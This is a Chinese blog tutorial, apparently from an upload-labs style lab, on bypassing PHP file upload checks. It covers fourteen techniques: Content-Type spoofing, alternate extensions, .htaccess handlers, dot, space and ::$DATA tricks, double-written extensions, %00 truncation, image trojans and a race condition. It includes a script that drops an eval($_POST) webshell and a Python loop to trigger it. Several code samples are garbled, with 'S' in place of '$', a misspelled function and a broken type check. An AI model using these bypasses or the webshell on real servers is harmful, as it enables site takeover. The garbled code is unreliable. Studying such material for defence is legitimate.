基于PHP的文件上传

文件上传是现代网络应用中不可或缺的功能,它允许用户将本地文件存储到服务器上,用于后续的处理、分发或备份。

一、基于前端验证的文件上传

文件上传漏洞中的前端验证漏洞是一个常见且危险的问题。这类漏洞的产生主要是因为前端验证机制可以通过多种方式被绕过,从而使得攻击者能够上传恶意文件到服务器。由于前端验证主要依赖于JavaScript,因此只要攻击者能够找到方法绕过JS的验证,就能成功上传恶意文件。

前端HTML代码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传——前端验证</title>
</head>
<script type="text/javascript">function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
</script>
<body><div style="text-align: center;" ><br><h1>文件上传——前端验证</h1><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()" action="./file_up.php"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form></div>
</body>
</html>

后端PHP代码file_up.php内容:

<?php
$tmpPath = $_FILES['upload_file']['tmp_name'];  //获取文件临时路径
$fileName = $_FILES['upload_file']['name'];    //获取文件名// $Size = $_FILES['upload_file']['size'];   //获取文件的大小
// $type = $_FILES['upload_file']['type'];   //获取文件类型
// $error = $_FILES['upload_file']['error'];  // 导致上传错误的代码
// echo $Size .'<br>';
// echo $type.'<br>';
// echo $error;
// echo $tmpPath;
// echo $fileName;
// move_uploaded_file($tmpPath,'./upload/'.$fileName) or die('文件上传失败');
// echo '上传成功';// 使用时间戳对上传文件进行重命名,避免图片名字重复造成文件覆盖
$newName = date('Ymd_His.') .end(explode(".",$fileName));
echo $newName;
move_uploaded_file($tmpPath,'./upload/'.$newName) or die('文件上传失败');
echo '上传成功';?>

 在此种方式下常见的绕过验证方式:

1.禁用或修改JavaScript:攻击者可以选择在浏览器中禁用JavaScript或者使用开发者工具修改脚本逻辑,从而直接提交表单。

2.使用代理工具:如Burp Suite可以拦截和修改HTTP请求。

二、基于后端的黑白名单验证

HTML前端代码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传——前端验证</title>
</head>
<body><div style="text-align: center;" ><br><h1>文件上传——前端验证</h1><form enctype="multipart/form-data" method="post" action="./file_up.php"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form></div>
</body>
</html>

后端PHP代码file_up.php文件内容: 

<?php
$tmpPath = $_FILES['upload_file']['tmp_name'];  //获取文件临时路径
$fileName = $_FILES['upload_file']['name'];    //获取文件名// $Size = $_FILES['upload_file']['size'];   //获取文件的大小
// $type = $_FILES['upload_file']['type'];   //获取文件类型
// $error = $_FILES['upload_file']['error'];  // 导致上传错误的代码
// echo $Size .'<br>';
// echo $type.'<br>';
// echo $error;// echo $tmpPath;
// echo $fileName;// move_uploaded_file($tmpPath,'./upload/'.$fileName) or die('文件上传失败');
// echo '上传成功';// 使用时间戳对上传文件进行重命名,避免图片名字重复造成文件覆盖
//判断后缀
$extName = end(explode(".",$fileName));
if ($extName == 'php'){die('文件后缀错误');
}
//判断文件类型
$fileType = $type = $_FILES['upload_file']['type'];
echo $fileType;
if ($fileType != 'image/jpeg' && $fileType != 'image/jpeg' && $fileType != 'image/jif'&& $fileType && 'image/png'  ){die('文件类型错误');
}
// 使用时间戳对上传文件进行重命名,避免图片名字重复造成文件覆盖
$newName = date('Ymd_His.') .end(explode(".",$fileName));
// echo $newName;
move_uploaded_file($tmpPath,'./upload/'.$newName) or die('文件上传失败');
echo '上传成功';
?>

 三、常见的绕过验证方式:

1.后端只验证Content-type

上传shell.php抓包修改content-type为图片类型:image/jpeg、image/png、image/gif

2.黑名单绕过

用黑名单不允许上传 .asp, .aspx, .php, .jsp后缀的文件,但可以上传 .phtml .phps .php5 .pht,前提是apache的httppd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .php5

3.htaccess绕过

黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess 。前提条件(1.mod_rewrite模块开启。2.AllowOverride All) 因此先上传一个.htaccess文件,内容如下: SetHandler application/x-httpd-php 这样当前目录下的所有文件都会当成php来解析,无论是什么后缀名,与文件包含的效果类似

4.点空点绕过   

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

根据源码对应的过滤规则得出payload应为.php. .,抓取数据包后在在文件名末尾加上点空点即可进行过滤。访问时为php.(点空格)

5.大小写绕过

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

根据源代码为进行大小写过滤,因此可以使用大小绕过,直接上传shell.PHP即可

6.空格绕过(仅Windows)

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

根据源码内容,发现过滤规则并没有对文件名末尾的空格进行过滤,抓取数据包,在webshell文件名末尾加上空格,即可绕过并且上传。(测试Linux行不行)

7.点绕过

$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

根据源码内容,发现过滤规则并没有对文件名末尾的点进行过滤,抓取数据包,在webshell文件名末尾加上点,即可绕过并且上传。

8.$DATA绕过(仅Windows)

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

没有对后缀名中的:::$DATA进行过滤。在php+windows的情况下:如果文件名+:::$DATA会把:::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持:::$DATA之前的文件名。利用windows特性,可在后缀名中加:::$DATA绕过

9.点+空格+点绕过

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchr函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过,访问时为.php.(点空格)

10.双写绕过

$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

黑名单过滤,将黑名单里的后缀名替换为空且只替换一次,因此可以用双写绕过,上传shell.pphphp

11.%00截断(版本5.3以下)

$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

通过源码发现该点是利用了白名单的上传法,截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态。%00截断原理:将www.xxx.com/abc.php%00.jpg处理为www.xxx.com/abc.php

12.图片马

图片马制作:copy 1.png/b + shell.php photo_shell.php

次方法需要借助文件包含漏洞

13.二次渲染绕过

文件上传二次渲染绕过是一种攻击方式,旨在绕过服务器对上传文件的检查和处理。攻击者会先上传一个恶意的文件,然后通过修改该文件的内容或属性来绕过服务器的安全机制。先上传一张GIF马,再下载,进而用Notepad++打开,将木马放在开头部分,没有发生变化的位置插入,再进行上传,再进行文件包含。

14.条件竞争

条件竞争产生原因,先将文件取个临时名字,判断是否后缀是否在白名单里,如果在则重命名,不在就删除文件,删除文件需要一丢丢的时间,这就是产生条件竞争的原因,后端代码:

// 移动上传文件到上传目录upload下,并且保持原始文件名
if(move_uploaed_file($temp_file, Upload_file))
// 判断文件后缀名是否属于白名单中的一个
if(in_array(Sfile_ext, Sext_arr)){
// 以随机数+日期时间+后缀名的命名规则来定义新文件名,如原始文件名 she11.php.aaa.bbb,则重命名后为xxx.bbb
Simg_path = UPLOAD_PATH . '/'. rand (10,99). date("YmdHis").".".$file_ext;
// 将upload目录下的原始文件名进行重命名
rename($upload_file,$img_path);
Sis_upload = true;
else{
Smsg = "只允许上传.jpgl.pngl.gif类型文件!";
unlink(Supload_file); //直接删除不满足条件的文件
}
else{
Smsg = '上传出错!';
}

因此我们可以上传shell.php只需要在它删除之前访问即可(访问到后shell.php被调用,使用file_put_contents写木马),可以利用burp的intruder模块不断上传,然后我们使用Python不断的访问刷新该地址即可。shelll.php内容:

<?php
file_put_contents("shelltest.php", '<?php @eval($_POST["code"]); ?>');
echo ok;
?>

python内容 

import requests, time
while True:resp =requests.get('http://192.168.112.188/upload-labs/upload/shell2.php')if resp.status_code == 200 and resp.text == 'ok':print(resp.text)break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/877816.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

设置虚拟机使用主机以太网而不是WiF连接

虚拟机使用主机的以太网连接而不是Wi-Fi连接&#xff0c;可以通过在虚拟化软件中配置虚拟机的网络设置来实现。以下是一些常见的虚拟化软件&#xff08;如VMware和VirtualBox&#xff09;中设置虚拟机网络以使用以太网连接的步骤&#xff1a; 一、VMware中设置 1、打开虚拟网…

微信小程序:点击事件(bindtap)传递参数

小程序在组件上绑定事件后&#xff0c;传递参数的方式不同于前端其他场景中直接加参数的方式&#xff0c;小程序在参数的传递时&#xff0c;采用事件对象的自定义属性的方式&#xff0c;具体实现如下&#xff1a; wxml&#xff1a; <view bindtap"goIndex" data…

JAVA双端队列Deque详解

Java中的双端队列&#xff08;Deque, 全称是double-ended queue&#xff09;是一种具有队列和栈的性质的抽象数据类型。双端队列中的元素可以从两端弹出&#xff08;在队列的头部和尾部进行添加或删除操作&#xff09;&#xff0c;因此它既可以作为FIFO&#xff08;先进先出&am…

天猫 登录滑块 淘系滑块分析

声明: 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关 前言 玩了几天现在才有空研究轨迹直接用了之前的…

UEditor百度富文本后端上传文件接口

UEditor百度富文本后端上传文件接口 直接上代码 接口&#xff1a; RequestMapping("/UEditorConfig")public String list(HttpServletRequest request, HttpServletResponse response) throws IOException {String config environment.getProperty("ueditor.c…

SOMEIP_ETS_059: ResetInterface_wrong_Fire_and_forget_package_get_No_Error_back

测试目的&#xff1a; 验证设备&#xff08;DUT&#xff09;在接收到一个错误的Fire&Forget消息时&#xff0c;不会做出响应或发送错误消息。 描述 本测试用例旨在检查DUT在接收到使用无效接口版本的方法resetInterface的Fire&Forget消息时&#xff0c;是否不会回应…

React 入门第四天:理解React中的路由与导航

在React学习的第四天&#xff0c;我将目光聚焦在React Router上。路由是任何单页应用&#xff08;SPA&#xff09;的核心部分&#xff0c;决定了用户如何在应用中导航&#xff0c;以及不同URL对应的内容如何渲染。通过学习React Router&#xff0c;我体会到了React处理路由的强…

数据库里的幽灵数据 - SQLite WAL模式探秘

亲爱的开发者朋友们,你是否曾经遇到过这样一个令人困惑的场景:你辛辛苦苦地往数据库里插入了新数据,信心满满地打开数据库文件一看,结果却发现新数据仿佛人间蒸发了一般?不要慌,这篇文章将为你揭开这个神秘现象的面纱。 让我们从一个真实的故事开始。 小明是一个移动应用开发…

打卡学习Python爬虫第五天|Xpath解析的使用

什么是Xpath&#xff1f;是在XML文档中搜索内容的一门语言&#xff0c;HTML可以看作是xml的一个子集。 目录 1、安装lxml模块 2、导入lxml中的etree子模块 3、Xpath使用方法 3.1.选择节点 3.2.选择属性 3.3.选择文本内容 3.4.使用通配符*过滤节点 3.5.使用中括号[]索引…

C语言:文件(写入,读取)

磁盘文件分为文本文件和二进制文件。 区分二者很简单&#xff0c;我们可以选定一个文件&#xff0c;以记事本打开&#xff0c;如果其中的内容你能看懂&#xff0c;他就是一个文本文件&#xff0c;相反&#xff0c;如果是一堆你看不懂的东西&#xff0c;那他就是二进制文件。 …

Android T adout replace bootanimation

idea_1:use ota replace bootanimation.zip idea_2:创建一个新的分区,(用于存放bootanimation.zip)可以让上层读写. idea_3:su cp 前提条件&#xff1a;userdebug版本, 默认关闭selLinux,可root //df 查看设备分区情况,有些分区系统是不让去写的 adb shell c4_t:/ $ df Fil…

【STM32】一些外设通用内容

在学习各种外设的过程中&#xff0c;发现外设有一些通用的东西可以总结一下&#xff0c;后面发现再继续更新。图来源于正点原子的学习视频和PPT。 目录 1 外设的时钟的开启 2 外设初始化的回调机制 3 外设的中断服务函数 4 HAL库中断回调机制 5 函数的常见…

Onnx使用预训练的 ResNet18 模型对输入图像进行分类,并将分类结果显示在图像上

目录 一、整体功能概述 二、函数分析 2.1 resnet() 函数&#xff1a; 2.2 pre_process(img_path) 函数&#xff1a; 2.3 loadOnnx(img_path) 函数&#xff1a; 三、代码执行流程 一、整体功能概述 这段代码实现了一个图像分类系统&#xff0c;使用预训练的 ResNet18 模型对…

计算机毕业设计hadoop+spark+hive漫画推荐系统 动漫视频推荐系统 漫画分析可视化大屏 漫画爬虫 漫画推荐系统 漫画爬虫 知识图谱 大数据

流程&#xff1a;1.DrissionPageSelenium自动爬虫工具采集漫画视频、详情、标签等约200万条漫画数据存入mysql数据库&#xff1b; 2.Mapreduce对采集的动漫数据进行数据清洗、拆分数据项等&#xff0c;转为.csv文件上传hadoop的hdfs集群&#xff1b; 3.hive建库建表导入.csv动漫…

使用Python+os/shutil删除文件、空目录和非空目录

一、使用Python的os.remove函数删除文件 import os# 永久删除文件 if os.path.exists(test1.txt):os.remove(test1.txt) 二、使用Python的os.rmdir函数删除空文件夹 import os# 永久删除空目录 if os.path.exists(empty_directory):os.rmdir(empty_directory) 三、使用Pyth…

驱动开发系列11 - Linux Graphics 图形栈概述(二)

目录 一:GPU 和 硬件 现代 GPU 功能概览: 硬件结构: 屏幕驱动: 屏幕连接器: 屏幕 CRT 控制器: CPU与GPU通信: 现代主机通信总线介绍: 通信方法: GPU 编程:通过 MMIO 访问寄存器 CPU 和 GPU 内存请求路由: GPU 可访问的内存区域: GTT/GART 是 CPU 与 GPU 共享的通信缓…

R语言VAR模型的多行业关联与溢出效应可视化分析

全文链接&#xff1a;https://tecdat.cn/?p37397 摘要&#xff1a;本文对医疗卫生、通信、金融、房地产和零售等行业的数据展开深入研究。通过读取数据、计算收益率、构建 VAR 模型并进行估计&#xff0c;帮助客户进一步分析各行业变量的影响及残差的协方差与相关矩阵&#xf…

框架——MyBatis查询(单表查询,多表联查)

目录 1.单表查询 2.多表查询 想查询student并且查询student所选择的专业major ①通过id查一个 ②不传入值直接查所有的学生列表 ③嵌套查询 想查询专业major并且查询该专业被哪些学生student选择 ①通过id查一个 ②不传入值直接查所有的专业列表 ③嵌套查询 3. 设置自动…

SQL, 有终止条件的多次累计计算

MSSQL数据库的data表存储了多人上电梯的情况&#xff0c;turn表示进电梯的顺序。电梯最大承重1000公斤&#xff0c;每趟能上的人数有限&#xff0c;超重的人要等下一趟。nameweightturnAlice2501Bob1702Alex3503John4004Winston5005Marie2006 请计算每趟电梯最后一个进入的人的…

IOS半越狱工具nathanlr越狱教程

简介 nathanlr 是一款半越狱工具&#xff0c;不是完整越狱。 半越狱只能使用一些系统范围的插件。 无法做到完整越狱 Dopamine 越狱一样插件兼容性。 nathanlr支持 iOS 16.5.1 – 16.6.1 系统。 支持 A12 及以上设备。 肯定有人问&#xff0c;为什么仅仅支持这些系统&#xff…